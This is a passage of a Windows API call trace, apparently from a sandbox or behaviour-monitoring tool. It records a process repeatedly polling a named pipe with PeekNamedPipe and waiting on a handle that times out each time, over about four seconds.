lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0056.345] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0056.376] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0056.376] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0056.406] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0056.410] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0056.437] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0056.438] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0056.469] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0056.469] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0056.503] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0056.504] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0056.553] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0056.553] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0056.603] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0056.604] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0056.673] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0056.674] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0056.702] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0056.703] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0056.739] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0056.740] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0056.771] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0056.771] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0056.828] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0056.829] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0056.881] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0056.885] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0056.907] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0056.907] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0057.012] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0057.012] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0057.148] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0057.148] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0057.415] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0057.416] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0057.435] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0057.435] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0057.469] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0057.469] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0057.540] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0057.541] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0057.634] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0057.634] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0057.866] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0057.866] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0057.933] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0057.934] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0058.274] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0058.274] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0058.293] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0058.293] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0058.375] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0058.375] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0058.402] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0058.402] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0058.434] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0058.434] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0058.464] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0058.464] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0058.496] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0058.496] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0058.527] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0058.527] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0058.558] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0058.558] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0058.590] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0058.590] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0058.620] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0058.621] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0058.652] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0058.652] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0058.683] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0058.683] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0058.714] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0058.714] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0058.745] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0058.745] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0058.777] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0058.777] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0058.820] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0058.820] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0058.850] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0058.850] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0058.870] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0058.870] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0058.901] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0058.901] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0058.932] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0058.932] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0058.964] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0058.964] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0058.995] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0058.995] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0059.027] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0059.027] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0059.058] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0059.058] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0059.138] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0059.138] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0059.166] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0059.167] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0059.198] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0059.198] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0059.229] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0059.229] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0059.260] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0059.260] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0059.291] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0059.291] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0059.322] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0059.322] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0059.354] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0059.354] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0059.470] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0059.470] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0059.494] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0059.494] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0059.532] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0059.532] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0059.557] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0059.557] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0059.587] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0059.588] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0059.619] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0059.619] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0059.650] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0059.650] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0059.685] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0059.685] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0059.712] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0059.712] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0059.744] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0059.744] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0060.266] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0060.267] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0060.290] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0060.290] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0060.321] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, 